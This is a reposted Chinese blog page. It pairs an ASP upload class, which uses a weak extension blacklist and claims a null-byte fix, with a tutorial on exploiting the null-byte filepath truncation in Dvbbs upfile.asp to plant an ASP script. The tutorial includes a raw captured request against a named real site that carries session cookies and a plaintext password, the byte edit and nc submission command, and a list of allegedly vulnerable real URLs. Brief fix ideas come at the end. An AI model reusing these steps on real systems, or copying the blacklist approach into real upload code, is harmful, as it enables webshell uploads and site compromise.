无惧上传类修改版ASP

<%OPTION EXPLICIT%>
<%
class clsUp '文件上传类
'------------------------
Dim Form,File
Dim AllowExt_ '允许上传类型(白名单)
Dim NoAllowExt_ '不允许上传类型(黑名单)
Private oUpFileStream '上传的数据流
Private isErr_ '错误的代码,0或true表示无错
Private ErrMessage_ '错误的字符串信息
Private isGetData_ '指示是否已执行过GETDATA过程

'------------------------------------------------------------------
'类的属性
Public Property Get Version
Version="先锋上传类(无惧类改进安全版) Version 2.0"
End Property

Public Property Get isErr '错误的代码,0或true表示无错
isErr=isErr_
End Property

Public Property Get ErrMessage '错误的字符串信息
ErrMessage=ErrMessage_
End Property

Public Property Get AllowExt '允许上传类型(白名单)
AllowExt=AllowExt_
End Property

Public Property Let AllowExt(Value) '允许上传类型(白名单)
AllowExt_=LCase(Value)
End Property

Public Property Get NoAllowExt '不允许上传类型(黑名单)
NoAllowExt=NoAllowExt_
End Property

Public Property Let NoAllowExt(Value) '不允许上传类型(黑名单)
NoAllowExt_=LCase(Value)
End Property

'----------------------------------------------------------------
'类实现代码

'初始化类
Private Sub Class_Initialize
isErr_ = 0
NoAllowExt="" '黑名单,可以在这里预设不可上传的文件类型,以文件的后缀名来判断,不分大小写,每个每缀名用;号分开,如果黑名单为空,则判断白名单
NoAllowExt=LCase(NoAllowExt)
AllowExt="" '白名单,可以在这里预设可上传的文件类型,以文件的后缀名来判断,不分大小写,每个后缀名用;号分开
AllowExt=LCase(AllowExt)
isGetData_=false
End Sub

'类结束
Private Sub Class_Terminate 
on error Resume Next
'清除变量及对像
Form.RemoveAll
Set Form = Nothing
File.RemoveAll
Set File = Nothing
oUpFileStream.Close
Set oUpFileStream = Nothing
End Sub

'分析上传的数据
Public Sub GetData (MaxSize)
'定义变量
on error Resume Next
if isGetData_=false then 
Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
Dim sFormValue,sFileName
Dim iFindStart,iFindEnd
Dim iFormStart,iFormEnd,sFormName
'代码开始
If Request.TotalBytes < 1 Then '如果没有数据上传
isErr_ = 1
ErrMessage_="没有数据上传"
Exit Sub
End If
If MaxSize > 0 Then '如果限制大小
If Request.TotalBytes > MaxSize Then
isErr_ = 2 '如果上传的数据超出限制大小
ErrMessage_="上传的数据超出限制大小"
Exit Sub
End If
End If
Set Form = Server.CreateObject ("Scripting.Dictionary")
Form.CompareMode = 1
Set File = Server.CreateObject ("Scripting.Dictionary")
File.CompareMode = 1
Set tStream = Server.CreateObject ("ADODB.Stream")
Set oUpFileStream = Server.CreateObject ("ADODB.Stream")
oUpFileStream.Type = 1
oUpFileStream.Mode = 3
oUpFileStream.Open 
oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
oUpFileStream.Position = 0
RequestBinDate = oUpFileStream.Read 
iFormEnd = oUpFileStream.Size
bCrLf = ChrB (13) & ChrB (10)
'取得每个项目之间的分隔符
sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1)
iStart = LenB(sSpace)
iFormStart = iStart+2
'分解项目
Do
iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3
tStream.Type = 1
tStream.Mode = 3
tStream.Open
oUpFileStream.Position = iFormStart
oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = "gb2312"
sInfo = tStream.ReadText  
'取得表单项目名称
iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1
iFindStart = InStr (22,sInfo,"name=""",1)+6
iFindEnd = InStr (iFindStart,sInfo,"""",1)
sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
'如果是文件
If InStr (45,sInfo,"filename=""",1) > 0 Then
Set oFileInfo = new clsFileInfo
'取得文件属性
iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr (iFindStart,sInfo,""""&vbCrLf,1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
oFileInfo.FileName = GetFileName(sFileName)
oFileInfo.FilePath = GetFilePath(sFileName)
oFileInfo.FileExt = GetFileExt(sFileName)
iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr (iFindStart,sInfo,vbCr)
oFileInfo.FileMIME = Mid(sinfo,iFindStart,iFindEnd-iFindStart)
oFileInfo.FileStart = iInfoEnd
oFileInfo.FileSize = iFormStart -iInfoEnd -2
oFileInfo.FormName = sFormName
file.add sFormName,oFileInfo
else
'如果是表单项目
tStream.Close
tStream.Type = 1
tStream.Mode = 3
tStream.Open
oUpFileStream.Position = iInfoEnd 
oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
tStream.Position = 0
tStream.Type = 2
tStream.CharSet = "gb2312"
sFormValue = tStream.ReadText
If Form.Exists (sFormName) Then
Form (sFormName) = Form (sFormName) & ", " & sFormValue
else
Form.Add sFormName,sFormValue
End If
End If
tStream.Close
iFormStart = iFormStart+iStart+2
'如果到文件尾了就退出
Loop Until (iFormStart+2) >= iFormEnd 
RequestBinDate = ""
Set tStream = Nothing
isGetData_=true
end if
End Sub

'保存到文件,自动覆盖已存在的同名文件
Public Function SaveToFile(Item,Path)
SaveToFile=SaveToFileEx(Item,Path,True)
End Function

'保存到文件,自动设置文件名
Public Function AutoSave(Item,Path)
AutoSave=SaveToFileEx(Item,Path,false)
End Function

'保存到文件,OVER为真时,自动覆盖已存在的同名文件,否则自动把文件改名保存
Private Function SaveToFileEx(Item,Path,Over)
On Error Resume Next
Dim oFileStream
Dim tmpPath
Dim nohack '防黑缓冲
isErr=0
Set oFileStream = CreateObject ("ADODB.Stream")
oFileStream.Type = 1
oFileStream.Mode = 3
oFileStream.Open
oUpFileStream.Position = File(Item).FileStart
oUpFileStream.CopyTo oFileStream,File(Item).FileSize
nohack=split(path,".") '重要修改,防止黑客二进制"01"断名!!!
tmpPath=nohack(0)&"."&nohack(ubound(nohack)) '重要修改,防止黑客二进制"01"断名!!!
if Over then
if isAllowExt(GetFileExt(tmpPath)) then
oFileStream.SaveToFile tmpPath,2
Else
isErr_=3
ErrMessage_="该后缀名的文件不允许上传!"
End if
Else
Path=GetFilePath(Path)
if isAllowExt(File(Item).FileExt) then
do
Err.Clear()
nohack=split(Path&GetNewFileName()&"."&File(Item).FileExt,".") '重要修改,防止黑客二进制"01"断名!!!
tmpPath=nohack(0)&"."&nohack(ubound(nohack)) '重要修改,防止黑客二进制"01"断名!!!
oFileStream.SaveToFile tmpPath
loop Until Err.number<1
oFileStream.SaveToFile Path
Else
isErr_=3
ErrMessage_="该后缀名的文件不允许上传!"
End if
End if
oFileStream.Close
Set oFileStream = Nothing
if isErr_=3 then SaveToFileEx="" else SaveToFileEx=GetFileName(tmpPath)
End Function

'取得文件数据
Public Function FileData(Item)
isErr_=0
if isAllowExt(File(Item).FileExt) then
oUpFileStream.Position = File(Item).FileStart
FileData = oUpFileStream.Read (File(Item).FileSize)
Else
isErr_=3
ErrMessage_="该后缀名的文件不允许上传!"
FileData=""
End if
End Function

'取得文件路径
Public function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = Left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function

'取得文件名
Public Function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function

'取得文件的后缀名
Public Function GetFileExt(FullPath)
If FullPath <> "" Then
GetFileExt = LCase(Mid(FullPath,InStrRev(FullPath, ".")+1))
Else
GetFileExt = ""
End If
End function

'取得一个不重复的序号
Public Function GetNewFileName()
dim ranNum
dim dtNow
dtNow=Now()
ranNum=int(90000*rnd)+10000
GetNewFileName=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) & right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum
End Function

Public Function isAllowExt(Ext)
if NoAllowExt="" then
isAllowExt=cbool(InStr(1,";"&AllowExt&";",LCase(";"&Ext&";")))
else
isAllowExt=not CBool(InStr(1,";"&NoAllowExt&";",LCase(";"&Ext&";")))
end if
End Function
End Class

'文件属性类
Class clsFileInfo
Dim FormName,FileName,FilePath,FileSize,FileMIME,FileStart,FileExt
End Class
%>

<%
dim upfile,formPath,ServerPath,FSPath,formName,FileName,oFile,upfilecount
upfilecount=0
set upfile=new clsUp ''建立上传对象
upfile.NoAllowExt="asp;exe;htm;html;aspx;cs;vb;js;" '设置上传类型的黑名单
upfile.GetData (204800) '取得上传数据,限制最大上传200K,102400字节=100K
%>
<html>
<head>
<title>文件上传</title>
<style type="text/css">
<!--
.p9{ font-size: 9pt; font-family: 宋体 }
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body leftmargin="20" topmargin="20" class="p9">
<%
if upfile.isErr then '如果出错
select case upfile.isErr
case 1
Response.Write "你没有上传数据呀???是不是搞错了??"
case 2
Response.Write "你上传的文件超出服务器的限制,最大200K"
end select
else
%>
<table border="1" cellpadding="0" cellspacing="0" bordercolor="#000000" class="p9" style="border-collapse: collapse">
<tr bgcolor="#CCCCCC"> 
<td height="25" valign='middle'> 本地文件 </td>
<td valign='middle'> 大小(字节) </td>
<td valign='middle'> 上传到 </td>
<td valign='middle'> 状态 </td>
<td valign='middle'>11111111</td>
</tr>  
<%
FSPath=GetFilePath(Server.mappath("upfile.asp"),"\")'取得当前文件在服务器路径
ServerPath=GetFilePath(Request.ServerVariables("HTTP_REFERER"),"/")'取得在网站上的位置
for each formName in upfile.file '列出所有上传了的文件
set oFile=upfile.file(formname)
FileName=upfile.form(formName)'取得文本域的值
if not FileName>"" then FileName=oFile.filename'如果没有输入新的文件名,就用原来的文件名
'upfile.SaveToFile formname,FSPath&FileName ''保存文件 也可以使用AutoSave来保存,参数一样,但是会自动建立新的文件名
upfile.AutoSave formname,FSPath&FileName ''保存文件 也可以使用AutoSave来保存,参数一样,但是会自动建立新的文件名  
%>
<tr> 
<td height="20" valign='middle'> <%=oFile.FilePath&oFile.FileName%> </td>
<td valign='middle'> <%=oFile.filesize%> </td>
<td valign='middle'> <A HREF="<%=serverpath&FileName%>"><%=FileName%></A> </td>
<td valign='middle'> <%
if upfile.iserr then 
Response.Write upfile.errmessage
else
upfilecount=upfilecount+1
Response.Write "上传成功"
end if
%> </td>
<td align="center" valign='middle'><%=FileName%></td>
</tr><%
set oFile=nothing
next
%>
<%
end if
set upfile=nothing '删除此对象
%>
</table>
</p>[<a href="1.asp">返回</a>]
</body>
</html>

<%
function GetFilePath(FullPath,str)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, str))
Else
GetFilePath = ""
End If
End function

Function CheckDir(FolderPath)
dim fso
folderpath=Server.MapPath(folderpath)
Set fso = Server.CreateObject("Scripting.FileSystemObject")
If fso.FolderExists(FolderPath) then
'存在
CheckDir = True
Else
'不存在
CheckDir = False
End if
Set fso = nothing
End Function 
%>

转载于:https://www.cnblogs.com/system32/p/asp-up-file.html

上传漏洞终结篇 一、写在前面 ***这个上传漏洞利用的原理只是针对form格式上传asp和php脚本*** NC(Netcat)   用于提交数据包   DOS界面下运行:   NC -vv www.***.com 80<1.txt   -vv: 回显   80: www端口   1.txt: 就是你要发送的数据包  (更多使用方法请查看本区的帖子) WSE(WSockExpert)   对本机端口的监视,抓取IE提交的数据包  (不会用的就自己到网上搜资料N多) 二、漏洞原理 下面例子假设的前提 www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件的研究,建议有一定编程经验的 看看Dvbbs的upfile.asp文件,没有必要全部看懂 upfile是通过生成一个form表上传,如下 <form name="form" method="post" action="upfile.asp" ...> <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" ...></form> 用到的变量: filepath 默认值uploadface 属性hiden act   默认值upload   属性hiden file1  就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 文件是用你的上传时间命名的,就是upfile里的这一句 FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt ------------------------------------------------------------------------- 我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道 char data[]="bbs" 这个data数组长度是4: b b s \0 如果我们构造filepath如下,会怎么样呢? filepath="/newmm.asp\0" 我们在2004.09.24.08.24传的文件就会发生变化 没有改时: http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时: http://www.***.com/newmm.asp\0/200409240824.jpg 这样当服务器接收filepath数据时,检测到newmm.asp后面的\0 就理解为filepath的数据就结束了 这样我们上传的文件,比如c:\1.asp 就保存成: http://www.***.com/newmm.asp 三、后期补充 漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个 上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 而且很对网站的插件里有似的漏洞,我要说的不要依赖哪些专门的工具 自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。 就算他加N个hiden变量也于事无补。 当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 就是我们的新理论诞生的时候! 四、漏洞列表 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746 监听外部主机     NC [-options] hostname port[s] [ports] ... 监听本地主机     NC -l -p port [options] [hostname] [port] options:     -d       detach from console, stealth mode     -e prog     inbound program to exec [dangerous!!]     -g gateway   source-routing hop point[s], up to 8     -G num     source-routing pointer: 4, 8, 12, ...     -h       this cruft     -i secs     delay interval for lines sent, ports scanned     -l       listen mode, for inbound connects     -L       listen harder, re-listen on socket close     -n       numeric-only IP addresses, no DNS     -o file     hex dump of traffic     -p port     local port number     -r       randomize local and remote ports     -s addr     local source address     -t       answer TELNET negotiation     -u       UDP mode     -v       verbose [use twice to be more verbose]     -w secs     timeout for connects and final net reads     -z       zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] 详细实例: --------------------------------------------------------------------------------- 一、WSE抓包结果(存到1.txt里): POST /bbs/upPhoto/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.xin126.com/bbs/upPhoto/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.xin126.com Content-Length: 1969 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84 -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" ../medias/myPhoto/ -----------------------------7d423a138d0278 ... ... 上传 -----------------------------7d423a138d0278-- --------------------------------------------------------------------------------- 二、UltraEdit打开1.txt改数据: ...... -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" /newmm.asp█         <===这个黑色代表一个空格是 0x20,改成0x00就可以了 ...... --------------------------------------------------------------------------------- 三、重新计算cookies长度,然后nc提交 Nc -vv www.xin126.com 80 <1.txt UltraEdit是一个16位编辑器网上可以下载得到 我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H 其实你改的时候就直接再filepath的结尾处加个00就OK了 计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 ...... Host: www.xin126.com Content-Length: 1969 <======就是这个 Connection: Keep-Alive Cache-Control: no-cache ...... 计算会吧?一个字母、数字就是1 对于上传漏洞提出的解决思路:(仅供参考) 1、一般的上传是把上传路径作为一个变量来处理 ===>我们的对策就是把filepath变成常量。。。 这个方法是目前最有效的(我认为的) 2、加强对于\0的处理,原来我们是读到这里就结束 我们继续读直道下一个变量开始的地方,处理就OK了
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值